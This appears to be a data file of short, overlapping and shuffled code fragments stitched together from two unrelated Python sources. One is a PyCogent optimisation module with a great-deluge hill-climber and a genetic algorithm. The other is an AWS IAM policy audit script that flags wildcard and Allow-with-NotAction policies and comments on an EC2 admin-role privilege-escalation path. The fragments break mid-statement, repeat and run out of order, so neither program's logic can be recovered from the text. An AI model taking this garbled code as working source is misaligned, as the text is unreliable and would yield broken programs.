"104, 1993, pp. 86 - 92 ga_evolve() is a basic", "def ga_evolve(parent, target, num, mutation_rate=0.01, score_f=_simple_score, breed_f=_simple_breed, select_f=_simple_select, init_f=_simple_init, random_f=normal,", "each iteration and contain the tuple (generation, best). The default", "= \"Copyright 2007-2012, The Cogent Project\" __credits__ = [\"<NAME>\", \"<NAME>\"]", "the target Parent must implement methods copy(), mutate(), and score(target)", "mutation_rate: Rate at which objects in the population are mutated.", "are mutated. score_f: Function to score the object against the", "breed_f(best, num, mutation_rate, random_f) yield (generation, best) generation += 1", "= [] score, parent = best for child_number in range(num):", "\"<NAME>\" __email__ = \"<EMAIL>\" __status__ = \"Production\" def _simple_breed(best, num,", "iter_count = 0 total_iters = 0 while iter_count < max_iter", "__status__ = \"Production\" def _simple_breed(best, num, mutation_rate, random_f): \"\"\"Returns num", "init_f: Must take an object and the size of the", "score_f: Must take an object and a target score. Returns", "functions acting on that object. \"\"\" water_level = curr_cost =", "to select best object(s) from the population random_f: Function to", "perturb() for evaluating the score and making mutations respectively. Usually,", "respectively. Usually, you'll want to write a wrapper that passes", "use. Returns a list containing the initial population. Default function", "copies of parent with mutation_rate changes\"\"\" result = [] score,", "of parent with mutation_rate changes\"\"\" result = [] score, parent", "if random_f() <= mutation_rate: child = parent.mutate() result.append(child) else: result.append(parent)", "against the target. breed_f: Function to create new population with", "objects in the population. Default function returns only the best", "breed_f: Must take a tuple containing (scores, objects), the size", "a to minimize cost. Yields are performed at the end", "a tuple containing ((iter_count, total_iters), a) is returned. iter_count is", "0 # WARNING: iter_count is reset here! curr_cost = new_cost", "objects), the size of population, a mutation rate and random", "of each iteration and a tuple containing ((iter_count, total_iters), a)", "total_iters), a) total_iters += 1 def ga_evolve(parent, target, num, mutation_rate=0.01,", "that object. \"\"\" water_level = curr_cost = a.cost() # can't", "score, parent = best for child_number in range(num): if random_f()", "population with mutations select_f: Function to select best object(s) from", "may not be desired behavior. select_f: Must take a population", "while loop in the event that no new objects are", "The default functions return the tuple (generation, (best_score, best_obj)). Arguments:", "based on: Gunter Dueck: New Optimization Heuristics, The Great Deluge", "the population random_f: Function to be used in breed_f max_generations:", "best object, but this may not be desired behavior. select_f:", "(best_score, best_child)\"\"\" scored = zip(scores, population) scored.sort() return scored[0] def", "reset here! curr_cost = new_cost a = new else: iter_count", "while iter_count < max_iter and total_iters < max_total_iters: new =", "86 - 92 ga_evolve() is a basic genetic algorithm in", "= 0 while iter_count < max_iter and total_iters < max_total_iters:", "internal data object, or functions acting on that object. \"\"\"", "on that object. \"\"\" water_level = curr_cost = a.cost() #", "but this may not be desired behavior. select_f: Must take", "goal of the evolution. num: Population size. mutation_rate: Rate at", "curr_cost: water_level = max(curr_cost, water_level - step_size) iter_count = 0", "in population] best = select_f(population, scores) population = breed_f(best, num,", "child = parent.mutate() result.append(child) else: result.append(parent) return result def _simple_score(child,", "scores. Returns a tuple containing the best scores and objects", "\"\"\"Returns num copies of parent with mutation_rate changes\"\"\" result =", "mutation_rate: child = parent.mutate() result.append(child) else: result.append(parent) return result def", "Computational Physics, Vol. 104, 1993, pp. 86 - 92 ga_evolve()", "def great_deluge(a, step_factor=500, max_iter=100, max_total_iters=1000): \"\"\"This generator makes random variations", "is reached Overload default functions: score_f: Must take an object", "the population. Returns a list containing the starting population \"\"\"", "functions: score_f: Must take an object and a target score.", "number of iterations through the loop reaches max_total_iters Object a", "and a target score. Returns objects score. breed_f: Must take", "- 92 ga_evolve() is a basic genetic algorithm in which", "[parent.copy() for i in range(num)] def _simple_select(population, scores): \"\"\"Returns a", "#!/usr/bin/env python \"\"\"Algorthims for function optimisation great_deluge() is a hillclimbing", "__license__ = \"GPL\" __version__ = \"1.5.3\" __maintainer__ = \"<NAME>\" __email__", "used to kill the while loop in the event that", "Kills while loop if max_generations is reached Overload default functions:", "score. Returns objects score. breed_f: Must take a tuple containing", "population = init_f(parent, num) while generation < max_generations: scores =", "only the best object, but this may not be desired", "the end of each iteration and contain the tuple (generation,", "found. total_iters will kill the while loop when the total", "of each iteration and contain the tuple (generation, best). The", "an object and the size of the population. Returns a", "population \"\"\" generation = 0 population = init_f(parent, num) while", "population] best = select_f(population, scores) population = breed_f(best, num, mutation_rate,", "to use. Returns a list containing the initial population. Default", "Default function takes only the best object, but this may", "starting population \"\"\" generation = 0 population = init_f(parent, num)", "a) total_iters += 1 def ga_evolve(parent, target, num, mutation_rate=0.01, score_f=_simple_score,", "if max_generations is reached Overload default functions: score_f: Must take", "in range(num)] def _simple_select(population, scores): \"\"\"Returns a tuple: (best_score, best_child)\"\"\"", "take an object and the size of the population. Returns", "total_iters += 1 def ga_evolve(parent, target, num, mutation_rate=0.01, score_f=_simple_score, breed_f=_simple_breed,", "and perturb() for evaluating the score and making mutations respectively.", "when the total number of iterations through the loop reaches", "to write a wrapper that passes these through to methods", "Gunter Dueck: New Optimization Heuristics, The Great Deluge Algorithm and", "the event that no new objects are found with a", "result = [] score, parent = best for child_number in", "= \"<EMAIL>\" __status__ = \"Production\" def _simple_breed(best, num, mutation_rate, random_f):", "create initial population from. target: The goal of the evolution.", "and scores. Returns a tuple containing the best scores and", "better cost is found. total_iters will kill the while loop", "step_factor=500, max_iter=100, max_total_iters=1000): \"\"\"This generator makes random variations of the", "\"Production\" def _simple_breed(best, num, mutation_rate, random_f): \"\"\"Returns num copies of", "functions. Yields are performed at the end of each iteration", "tuple containing (scores, objects), the size of population, a mutation", "to create initial population from. target: The goal of the", "genetic algorithm in which all internal functions can be overridden", "defined by the childs scoring function\"\"\" return child.score(target) def _simple_init(parent,", "Must take an object and a target score. Returns objects", "overridden NOTE: both optimisation functions are generators. \"\"\" from numpy.random", "result def _simple_score(child, target): \"\"\"Returns the childs score as defined", "from numpy.random import normal __author__ = \"<NAME> and <NAME>\" __copyright__", "copy(), mutate(), and score(target) to be used with the simple", "scoring function\"\"\" return child.score(target) def _simple_init(parent, num): \"\"\"Creates a list", "end of each iteration and contain the tuple (generation, best).", "each time an object with a better cost is found.", "ga_evolve() is a basic genetic algorithm in which all internal", "of the evolution. num: Population size. mutation_rate: Rate at which", "at which objects in the population are mutated. score_f: Function", "\"\"\"Algorthims for function optimisation great_deluge() is a hillclimbing algorithm based", "of iterations through the loop reaches max_total_iters Object a must", "total number of iterations through the loop reaches max_total_iters Object", "population from. target: The goal of the evolution. num: Population", "list containing the starting population \"\"\" generation = 0 population", "tuple containing ((iter_count, total_iters), a) is returned. iter_count is used" ]
[ "} # ]} # This policy blacklists all 'iam:*', 'organizations:*',", "logging.basicConfig(filename='policyAssessment.log', format='%(levelname)s:%(message)s', level=loglevel) profile = check_args_creds(args) get_policies(profile) if __name__ ==", "+ NotAction) Need to add more tests/use cases \"\"\" def", "ProgressBar('Collecting Policies') print(\"Policy Collection, Pass Number: {}\".format(passcount)) passcount += 1", "== \"__main__\": # execute only if run as a script", "\"DEBUG\" else: loglevel = \"INFO\" logging.basicConfig(filename='policyAssessment.log', format='%(levelname)s:%(message)s', level=loglevel) profile =", "more tests/use cases \"\"\" def get_policies(profile): session = boto3.session.Session(profile_name=profile) myiam", "default=str, indent=4)) pfl.close() try: marker = response_iterator['Marker'] except KeyError: break", "1 if marker: response_iterator = myiam.list_policies(OnlyAttached=True, Marker=marker) else: response_iterator =", "]} # This policy blacklists all 'iam:*', 'organizations:*', and #", "Collection, Pass Number: {}\".format(passcount)) passcount += 1 if marker: response_iterator", "__name__ == \"__main__\": # execute only if run as a", "= None allPolicies = [] passcount = 1 while True:", "'Allow', # 'Action': '*', # 'Resource': ['*'] # } #", "args.profile + \" working\") workingProfiles.append(args.profile) workingCreds = True return args.profile", "from progressbar import ProgressBar import sys \"\"\" Collects IAM Policies", "to add more tests/use cases \"\"\" def get_policies(profile): session =", "'Allow', # 'Action': [ 'iam:CreateServiceLinkedRole', # 'iam:DeleteServiceLinkedRole', # 'iam:ListRoles', #", "grants specific # access in the next stanza ('iam:ListRoles', etc)", "Effect:Allow + NotAction) Need to add more tests/use cases \"\"\"", "policy: {}\".format(p)) logging.debug(\"Problem parsing this policy: {}\".format(p)) print(e) continue try:", "Pattern 2: Allow: *, NotAction # {'Version': '2012-10-17', # 'Statement':", "logging.info(str(usercnt) + userresp) return True def setup_args(parser): parser.add_argument(\"-p\", \"--profile\", help=\"AWS", "and q['Resource'] == '*'): print(\"Review Suspect Policy: {} -> {}\".format(", "# ]} # This policy blacklists all 'iam:*', 'organizations:*', and", "looks for bad/dangerous patterns # Pattern 1: Allow *.* #", "Policies Evaluates policies looking for badness (*.*, Effect:Allow + NotAction)", "pbar = ProgressBar('Collecting Policies') print(\"Policy Collection, Pass Number: {}\".format(passcount)) passcount", "'*', # 'Resource': ['*'] # } # ] # }", "= myiam.get_policy_version( PolicyArn=p['Arn'], VersionId=p['DefaultVersionId']) mypol = {'Policy': p, 'PolicyVersion': polVers['PolicyVersion']}", "== 'Allow' and q['Resource'] == '*'): print(\"Review Suspect Policy: {}", "{'Effect': 'Allow', # 'Action': '*', # 'Resource': ['*'] # }", "user can create an EC2 instance, attach an admin role", "{'Policy': p, 'PolicyVersion': polVers['PolicyVersion']} allPolicies.append(mypol) pfl = open(os.path.join('policies/', p['PolicyName']+'.json'), 'w')", "# 'NotAction': ['iam:*', 'organizations:*', 'account:*'], # 'Resource': '*' # },", "marker = None allPolicies = [] passcount = 1 while", "import ProgressBar import sys \"\"\" Collects IAM Policies Evaluates policies", "= ProgressBar('\\tChecking for Dangerous Policies') for p in pbar(allPolicies): #", "logging.error(\"Profile \" + args.profile + \" not working\") exit(1) else:", "to everything else, # like lambda or ec2 because of", "(not check_profile(args.profile)): logging.error(\"Profile \" + args.profile + \" not working\")", "'*' in q['Action']): print(\"Review Dangerous Policy: {} -> {}\".format( p['Policy']['PolicyName'],", "workingProfiles workingProfiles = [] if not args.profile: logging.info(\"Using AWS Default", "\"INFO\" logging.basicConfig(filename='policyAssessment.log', format='%(levelname)s:%(message)s', level=loglevel) profile = check_args_creds(args) get_policies(profile) if __name__", "for p in pbar(allPolicies): # This section looks for bad/dangerous", "loglevel = \"INFO\" logging.basicConfig(filename='policyAssessment.log', format='%(levelname)s:%(message)s', level=loglevel) profile = check_args_creds(args) get_policies(profile)", "2: Allow: *, NotAction # {'Version': '2012-10-17', # 'Statement': [", "working.\") quit() else: workingProfiles.append(\"default\") workingCreds = True if args.profile and", "\" Profile\") if (not check_profile(args.profile)): logging.error(\"Profile \" + args.profile +", "'w') pfl.write(json.dumps(mypol, default=str, indent=4)) pfl.close() ae = myiam.list_entities_for_policy(PolicyArn=p['Arn']) pfl =", "pfl = open(os.path.join('attachedentities/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(ae, default=str, indent=4)) pfl.close() try:", "*.* # AWSLambdaRole { # 'Version': '2012-10-17', # 'Statement': [", "this policy: {}\".format(p)) print(e) continue try: if (q['Effect'] == \"Allow\"", "the NotAction. Then it grants specific # access in the", "check_args_creds(args): # handle profiles / authentication / credentials workingCreds =", "Marker=marker) else: response_iterator = myiam.list_policies(OnlyAttached=True) for p in pbar(response_iterator['Policies']): polVers", "'organizations:*', and # 'accounts:*' with the NotAction. Then it grants", "and q['Effect'] == 'Allow' and q['Resource'] == '*'): print(\"Review Suspect", "workingCreds = False global logging global workingProfiles workingProfiles = []", "q['Resource'] == '*'): print(\"Review Suspect Policy: {} -> {}\".format( p['Policy']['PolicyName'],", "else: userresp = \" User\" logging.info(str(usercnt) + userresp) return True", "p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(ae, default=str, indent=4)) pfl.close() try: marker = response_iterator['Marker']", "as e: pass # Pattern 2: Allow: *, NotAction #", "like lambda or ec2 because of the \"Allow\" in the", "(not check_profile(\"default\")): logging.error(\"Default credentials not working.\") print(\"Default credentials not working.\")", "def check_profile(profile): global logging try: if(profile == \"default\"): client =", "> 1): userresp = \" Users\" else: userresp = \"", "pfl = open(os.path.join('policies/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(mypol, default=str, indent=4)) pfl.close() ae", "# 'Effect': 'Allow', # 'NotAction': ['iam:*', 'organizations:*', 'account:*'], # 'Resource':", "args.profile is not None: logging.info(\"Using \" + args.profile + \"", "= myiam.list_entities_for_policy(PolicyArn=p['Arn']) pfl = open(os.path.join('attachedentities/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(ae, default=str, indent=4))", "client = boto3.session.Session(profile_name=profile) except Exception as e: logging.error(\"Error connecting: \")", "'organizations:*', 'account:*'], # 'Resource': '*' # }, # { #", "args.log.upper() == \"DEBUG\": loglevel = \"DEBUG\" else: loglevel = \"INFO\"", "# This section looks for bad/dangerous patterns # Pattern 1:", "{ # 'Version': '2012-10-17', # 'Statement': [ # {'Effect': 'Allow',", "mypol = {'Policy': p, 'PolicyVersion': polVers['PolicyVersion']} allPolicies.append(mypol) pfl = open(os.path.join('policies/',", "True def setup_args(parser): parser.add_argument(\"-p\", \"--profile\", help=\"AWS Profile\") parser.add_argument(\"-l\", \"--log\", help=\"Log", "'2012-10-17', # 'Statement': [ # {'Effect': 'Allow', # 'Action': '*',", "it grants access to everything else, # like lambda or", "= True if args.profile and args.profile is not None: logging.info(\"Using", "# The fatal flaw is that it grants access to", "myiam = session.client('iam') marker = None allPolicies = [] passcount", "\"--profile\", help=\"AWS Profile\") parser.add_argument(\"-l\", \"--log\", help=\"Log Level\") def main(): global", "{ # 'Effect': 'Allow', # 'NotAction': ['iam:*', 'organizations:*', 'account:*'], #", "Policy: {} -> {}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except Exception as e:", "'Allow', # 'NotAction': ['iam:*', 'organizations:*', 'account:*'], # 'Resource': '*' #", "boto3.session.Session(profile_name=profile) except Exception as e: logging.error(\"Error connecting: \") logging.error(e) return", "and args.log.upper() == \"DEBUG\": loglevel = \"DEBUG\" else: loglevel =", "global args args = parser.parse_args() if args.log and args.log.upper() ==", "try: if (q['NotAction'] and q['Effect'] == 'Allow' and q['Resource'] ==", "Level\") def main(): global logging parser = argparse.ArgumentParser() setup_args(parser) global", "setup_args(parser) global args args = parser.parse_args() if args.log and args.log.upper()", "progressbar import ProgressBar import sys \"\"\" Collects IAM Policies Evaluates", "0: logging.info(\"No users\") if len(response) > 0: usercnt = len(response['Users'])", "Need to add more tests/use cases \"\"\" def get_policies(profile): session", "NotAction) Need to add more tests/use cases \"\"\" def get_policies(profile):", "working\") exit(1) else: logging.info(\"Profile \" + args.profile + \" working\")", "parser.add_argument(\"-p\", \"--profile\", help=\"AWS Profile\") parser.add_argument(\"-l\", \"--log\", help=\"Log Level\") def main():", "('iam:ListRoles', etc) # The fatal flaw is that it grants", "\"\"\" Collects IAM Policies Evaluates policies looking for badness (*.*,", "Profile\") if (not check_profile(args.profile)): logging.error(\"Profile \" + args.profile + \"", "\" + profile) client = boto3.session.Session(profile_name=profile) except Exception as e:", "print(\"\\nTotal Policies: {}\".format(len(allPolicies))) pbar = ProgressBar('\\tChecking for Dangerous Policies') for", "{}\".format(p)) print(e) continue try: if (q['Effect'] == \"Allow\" and '*'", "} # ] # } try: q = p['PolicyVersion']['Document']['Statement'][0] except", "print(\"Review Dangerous Policy: {} -> {}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except Exception", "is that it grants access to everything else, # like", "or ec2 because of the \"Allow\" in the first stanza.", "logging.error(\"Error connecting: \") logging.error(e) return False try: iam = client.client('iam')", "workingProfiles.append(args.profile) workingCreds = True return args.profile def check_profile(profile): global logging", "global logging global workingProfiles workingProfiles = [] if not args.profile:", "if args.log and args.log.upper() == \"DEBUG\": loglevel = \"DEBUG\" else:", "looking for badness (*.*, Effect:Allow + NotAction) Need to add", "add more tests/use cases \"\"\" def get_policies(profile): session = boto3.session.Session(profile_name=profile)", "except Exception as e: logging.error(\"Error connecting: \") logging.error(e) return False", "credentials not working.\") quit() else: workingProfiles.append(\"default\") workingCreds = True if", "session.client('iam') marker = None allPolicies = [] passcount = 1", "for bad/dangerous patterns # Pattern 1: Allow *.* # AWSLambdaRole", "# } # ] # } try: q = p['PolicyVersion']['Document']['Statement'][0]", "if(usercnt > 1): userresp = \" Users\" else: userresp =", "# 'Resource': '*' # } # ]} # This policy", "Default Profile\") if (not check_profile(\"default\")): logging.error(\"Default credentials not working.\") print(\"Default", "\"__main__\": # execute only if run as a script main()", "break print(\"\\nTotal Policies: {}\".format(len(allPolicies))) pbar = ProgressBar('\\tChecking for Dangerous Policies')", "logging global workingProfiles workingProfiles = [] if not args.profile: logging.info(\"Using", "connecting: \") logging.error(e) return False try: iam = client.client('iam') response", "print(\"Problem parsing this policy: {}\".format(p)) logging.debug(\"Problem parsing this policy: {}\".format(p))", "because of the \"Allow\" in the first stanza. # This", "= p['PolicyVersion']['Document']['Statement'][0] except Exception as e: print(\"Problem parsing this policy:", "marker = response_iterator['Marker'] except KeyError: break print(\"\\nTotal Policies: {}\".format(len(allPolicies))) pbar", "'Effect': 'Allow', # 'Action': [ 'iam:CreateServiceLinkedRole', # 'iam:DeleteServiceLinkedRole', # 'iam:ListRoles',", "an admin role to # it, and login and give", "NotAction. Then it grants specific # access in the next", "logging.error(\"Default credentials not working.\") print(\"Default credentials not working.\") quit() else:", "if not args.profile: logging.info(\"Using AWS Default Profile\") if (not check_profile(\"default\")):", "+ args.profile + \" not working\") exit(1) else: logging.info(\"Profile \"", "(*.*, Effect:Allow + NotAction) Need to add more tests/use cases", "'iam:CreateServiceLinkedRole', # 'iam:DeleteServiceLinkedRole', # 'iam:ListRoles', # 'organizations:DescribeOrganization', # 'account:ListRegions' #", "# 'Effect': 'Allow', # 'Action': [ 'iam:CreateServiceLinkedRole', # 'iam:DeleteServiceLinkedRole', #", "logging.info(\"No users\") if len(response) > 0: usercnt = len(response['Users']) if(usercnt", "Instance # privilege escalation. try: if (q['NotAction'] and q['Effect'] ==", "badness (*.*, Effect:Allow + NotAction) Need to add more tests/use", "True if args.profile and args.profile is not None: logging.info(\"Using \"", "None: logging.info(\"Using \" + args.profile + \" Profile\") if (not", "as e: logging.error(\"Error listing users: \") logging.error(e) return False if", "if len(response['Users']) == 0: logging.info(\"No users\") if len(response) > 0:", "the next stanza ('iam:ListRoles', etc) # The fatal flaw is", "default=str, indent=4)) pfl.close() ae = myiam.list_entities_for_policy(PolicyArn=p['Arn']) pfl = open(os.path.join('attachedentities/', p['PolicyName']+'.json'),", "= boto3.session.Session(profile_name=profile) myiam = session.client('iam') marker = None allPolicies =", "indent=4)) pfl.close() try: marker = response_iterator['Marker'] except KeyError: break print(\"\\nTotal", "p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except Exception as e: pass return def check_args_creds(args):", "check_profile(args.profile)): logging.error(\"Profile \" + args.profile + \" not working\") exit(1)", "grants access to everything else, # like lambda or ec2", "'Action': '*', # 'Resource': ['*'] # } # ] #", "# privilege escalation. try: if (q['NotAction'] and q['Effect'] == 'Allow'", "except Exception as e: print(\"Problem parsing this policy: {}\".format(p)) logging.debug(\"Problem", "flaw is that it grants access to everything else, #", "authentication / credentials workingCreds = False global logging global workingProfiles", "open(os.path.join('attachedentities/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(ae, default=str, indent=4)) pfl.close() try: marker =", "client.client('iam') response = iam.list_users() except Exception as e: logging.error(\"Error listing", "= argparse.ArgumentParser() setup_args(parser) global args args = parser.parse_args() if args.log", "= 1 while True: pbar = ProgressBar('Collecting Policies') print(\"Policy Collection,", "Policies: {}\".format(len(allPolicies))) pbar = ProgressBar('\\tChecking for Dangerous Policies') for p", "\"DEBUG\": loglevel = \"DEBUG\" else: loglevel = \"INFO\" logging.basicConfig(filename='policyAssessment.log', format='%(levelname)s:%(message)s',", "import sys \"\"\" Collects IAM Policies Evaluates policies looking for", "not working.\") quit() else: workingProfiles.append(\"default\") workingCreds = True if args.profile", "that it grants access to everything else, # like lambda", "myiam.list_entities_for_policy(PolicyArn=p['Arn']) pfl = open(os.path.join('attachedentities/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(ae, default=str, indent=4)) pfl.close()", "for Dangerous Policies') for p in pbar(allPolicies): # This section", "try: if(profile == \"default\"): client = boto3.session.Session() else: logging.info(\"Testing profile:", "handle profiles / authentication / credentials workingCreds = False global", "policies looking for badness (*.*, Effect:Allow + NotAction) Need to", "workingProfiles = [] if not args.profile: logging.info(\"Using AWS Default Profile\")", "iam.list_users() except Exception as e: logging.error(\"Error listing users: \") logging.error(e)", "and '*' in q['Action']): print(\"Review Dangerous Policy: {} -> {}\".format(", "next stanza ('iam:ListRoles', etc) # The fatal flaw is that", "exit(1) else: logging.info(\"Profile \" + args.profile + \" working\") workingProfiles.append(args.profile)", "parser.parse_args() if args.log and args.log.upper() == \"DEBUG\": loglevel = \"DEBUG\"", "pfl.write(json.dumps(ae, default=str, indent=4)) pfl.close() try: marker = response_iterator['Marker'] except KeyError:", "+ args.profile + \" working\") workingProfiles.append(args.profile) workingCreds = True return", "and login and give themselves access to Admin. Instance #", "== \"DEBUG\": loglevel = \"DEBUG\" else: loglevel = \"INFO\" logging.basicConfig(filename='policyAssessment.log',", "credentials not working.\") print(\"Default credentials not working.\") quit() else: workingProfiles.append(\"default\")", "check_args_creds(args) get_policies(profile) if __name__ == \"__main__\": # execute only if", "# like lambda or ec2 because of the \"Allow\" in", "len(response['Users']) if(usercnt > 1): userresp = \" Users\" else: userresp", "= boto3.session.Session() else: logging.info(\"Testing profile: \" + profile) client =", "False try: iam = client.client('iam') response = iam.list_users() except Exception", "\" not working\") exit(1) else: logging.info(\"Profile \" + args.profile +", "+ \" not working\") exit(1) else: logging.info(\"Profile \" + args.profile", "passcount += 1 if marker: response_iterator = myiam.list_policies(OnlyAttached=True, Marker=marker) else:", "'*'): print(\"Review Suspect Policy: {} -> {}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except", "Exception as e: pass return def check_args_creds(args): # handle profiles", "'*' # } # ]} # This policy blacklists all", "q = p['PolicyVersion']['Document']['Statement'][0] except Exception as e: print(\"Problem parsing this", "all 'iam:*', 'organizations:*', and # 'accounts:*' with the NotAction. Then", "= open(os.path.join('policies/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(mypol, default=str, indent=4)) pfl.close() ae =", "blacklists all 'iam:*', 'organizations:*', and # 'accounts:*' with the NotAction.", "polVers = myiam.get_policy_version( PolicyArn=p['Arn'], VersionId=p['DefaultVersionId']) mypol = {'Policy': p, 'PolicyVersion':", "loglevel = \"DEBUG\" else: loglevel = \"INFO\" logging.basicConfig(filename='policyAssessment.log', format='%(levelname)s:%(message)s', level=loglevel)", "response_iterator = myiam.list_policies(OnlyAttached=True) for p in pbar(response_iterator['Policies']): polVers = myiam.get_policy_version(", "help=\"AWS Profile\") parser.add_argument(\"-l\", \"--log\", help=\"Log Level\") def main(): global logging", "e: logging.error(\"Error connecting: \") logging.error(e) return False try: iam =", "stanza. # This user can create an EC2 instance, attach", "args.profile def check_profile(profile): global logging try: if(profile == \"default\"): client", "{ # 'Effect': 'Allow', # 'Action': [ 'iam:CreateServiceLinkedRole', # 'iam:DeleteServiceLinkedRole',", "not None: logging.info(\"Using \" + args.profile + \" Profile\") if", "pbar = ProgressBar('\\tChecking for Dangerous Policies') for p in pbar(allPolicies):", "listing users: \") logging.error(e) return False if len(response['Users']) == 0:", "if __name__ == \"__main__\": # execute only if run as", "if marker: response_iterator = myiam.list_policies(OnlyAttached=True, Marker=marker) else: response_iterator = myiam.list_policies(OnlyAttached=True)", "'account:ListRegions' # ], # 'Resource': '*' # } # ]}", "# 'Action': '*', # 'Resource': ['*'] # } # ]", "can create an EC2 instance, attach an admin role to", "== '*'): print(\"Review Suspect Policy: {} -> {}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document']))", "Admin. Instance # privilege escalation. try: if (q['NotAction'] and q['Effect']", "p['PolicyVersion']['Document'])) except Exception as e: pass # Pattern 2: Allow:", "parsing this policy: {}\".format(p)) print(e) continue try: if (q['Effect'] ==", "while True: pbar = ProgressBar('Collecting Policies') print(\"Policy Collection, Pass Number:", "response_iterator['Marker'] except KeyError: break print(\"\\nTotal Policies: {}\".format(len(allPolicies))) pbar = ProgressBar('\\tChecking", "passcount = 1 while True: pbar = ProgressBar('Collecting Policies') print(\"Policy", "try: if (q['Effect'] == \"Allow\" and '*' in q['Resource'] and", "# {'Version': '2012-10-17', # 'Statement': [ # { # 'Effect':", "'Action': [ 'iam:CreateServiceLinkedRole', # 'iam:DeleteServiceLinkedRole', # 'iam:ListRoles', # 'organizations:DescribeOrganization', #", "privilege escalation. try: if (q['NotAction'] and q['Effect'] == 'Allow' and", "give themselves access to Admin. Instance # privilege escalation. try:", "\" User\" logging.info(str(usercnt) + userresp) return True def setup_args(parser): parser.add_argument(\"-p\",", "get_policies(profile) if __name__ == \"__main__\": # execute only if run", "open(os.path.join('policies/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(mypol, default=str, indent=4)) pfl.close() ae = myiam.list_entities_for_policy(PolicyArn=p['Arn'])", "pass # Pattern 2: Allow: *, NotAction # {'Version': '2012-10-17',", "] # } try: q = p['PolicyVersion']['Document']['Statement'][0] except Exception as", "= True return args.profile def check_profile(profile): global logging try: if(profile", "# 'Action': [ 'iam:CreateServiceLinkedRole', # 'iam:DeleteServiceLinkedRole', # 'iam:ListRoles', # 'organizations:DescribeOrganization',", "= myiam.list_policies(OnlyAttached=True) for p in pbar(response_iterator['Policies']): polVers = myiam.get_policy_version( PolicyArn=p['Arn'],", "of the \"Allow\" in the first stanza. # This user", "allPolicies = [] passcount = 1 while True: pbar =", "args.profile: logging.info(\"Using AWS Default Profile\") if (not check_profile(\"default\")): logging.error(\"Default credentials", "'NotAction': ['iam:*', 'organizations:*', 'account:*'], # 'Resource': '*' # }, #", "# Pattern 1: Allow *.* # AWSLambdaRole { # 'Version':", "0: usercnt = len(response['Users']) if(usercnt > 1): userresp = \"", "# This user can create an EC2 instance, attach an", "except KeyError: break print(\"\\nTotal Policies: {}\".format(len(allPolicies))) pbar = ProgressBar('\\tChecking for", "stanza ('iam:ListRoles', etc) # The fatal flaw is that it", "return False try: iam = client.client('iam') response = iam.list_users() except", "credentials workingCreds = False global logging global workingProfiles workingProfiles =", "['*'] # } # ] # } try: q =", "fatal flaw is that it grants access to everything else,", "# it, and login and give themselves access to Admin.", "argparse import boto3 import json import logging import os from", "admin role to # it, and login and give themselves", "myiam.get_policy_version( PolicyArn=p['Arn'], VersionId=p['DefaultVersionId']) mypol = {'Policy': p, 'PolicyVersion': polVers['PolicyVersion']} allPolicies.append(mypol)", "logging try: if(profile == \"default\"): client = boto3.session.Session() else: logging.info(\"Testing", "AWSLambdaRole { # 'Version': '2012-10-17', # 'Statement': [ # {'Effect':", "allPolicies.append(mypol) pfl = open(os.path.join('policies/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(mypol, default=str, indent=4)) pfl.close()", "# handle profiles / authentication / credentials workingCreds = False", "Collects IAM Policies Evaluates policies looking for badness (*.*, Effect:Allow", "q['Resource'] and '*' in q['Action']): print(\"Review Dangerous Policy: {} ->", "\" + args.profile + \" working\") workingProfiles.append(args.profile) workingCreds = True", "print(\"Review Suspect Policy: {} -> {}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except Exception", "\") logging.error(e) return False try: iam = client.client('iam') response =", "logging parser = argparse.ArgumentParser() setup_args(parser) global args args = parser.parse_args()", "# { # 'Effect': 'Allow', # 'NotAction': ['iam:*', 'organizations:*', 'account:*'],", "p['PolicyVersion']['Document'])) except Exception as e: pass return def check_args_creds(args): #", "the \"Allow\" in the first stanza. # This user can", "attach an admin role to # it, and login and", "marker: response_iterator = myiam.list_policies(OnlyAttached=True, Marker=marker) else: response_iterator = myiam.list_policies(OnlyAttached=True) for", "= ProgressBar('Collecting Policies') print(\"Policy Collection, Pass Number: {}\".format(passcount)) passcount +=", "profiles / authentication / credentials workingCreds = False global logging", "e: logging.error(\"Error listing users: \") logging.error(e) return False if len(response['Users'])", "users: \") logging.error(e) return False if len(response['Users']) == 0: logging.info(\"No", "= response_iterator['Marker'] except KeyError: break print(\"\\nTotal Policies: {}\".format(len(allPolicies))) pbar =", "role to # it, and login and give themselves access", "p in pbar(allPolicies): # This section looks for bad/dangerous patterns", "'Statement': [ # {'Effect': 'Allow', # 'Action': '*', # 'Resource':", "an EC2 instance, attach an admin role to # it,", "help=\"Log Level\") def main(): global logging parser = argparse.ArgumentParser() setup_args(parser)", "Profile\") if (not check_profile(\"default\")): logging.error(\"Default credentials not working.\") print(\"Default credentials", "not args.profile: logging.info(\"Using AWS Default Profile\") if (not check_profile(\"default\")): logging.error(\"Default", "# 'iam:ListRoles', # 'organizations:DescribeOrganization', # 'account:ListRegions' # ], # 'Resource':", "[] passcount = 1 while True: pbar = ProgressBar('Collecting Policies')", "section looks for bad/dangerous patterns # Pattern 1: Allow *.*", "# 'organizations:DescribeOrganization', # 'account:ListRegions' # ], # 'Resource': '*' #", "response_iterator = myiam.list_policies(OnlyAttached=True, Marker=marker) else: response_iterator = myiam.list_policies(OnlyAttached=True) for p", "parser = argparse.ArgumentParser() setup_args(parser) global args args = parser.parse_args() if", "# Pattern 2: Allow: *, NotAction # {'Version': '2012-10-17', #", "in q['Action']): print(\"Review Dangerous Policy: {} -> {}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document']))", "create an EC2 instance, attach an admin role to #", "profile: \" + profile) client = boto3.session.Session(profile_name=profile) except Exception as", "= client.client('iam') response = iam.list_users() except Exception as e: logging.error(\"Error", "try: q = p['PolicyVersion']['Document']['Statement'][0] except Exception as e: print(\"Problem parsing", "This user can create an EC2 instance, attach an admin", "\"\"\" def get_policies(profile): session = 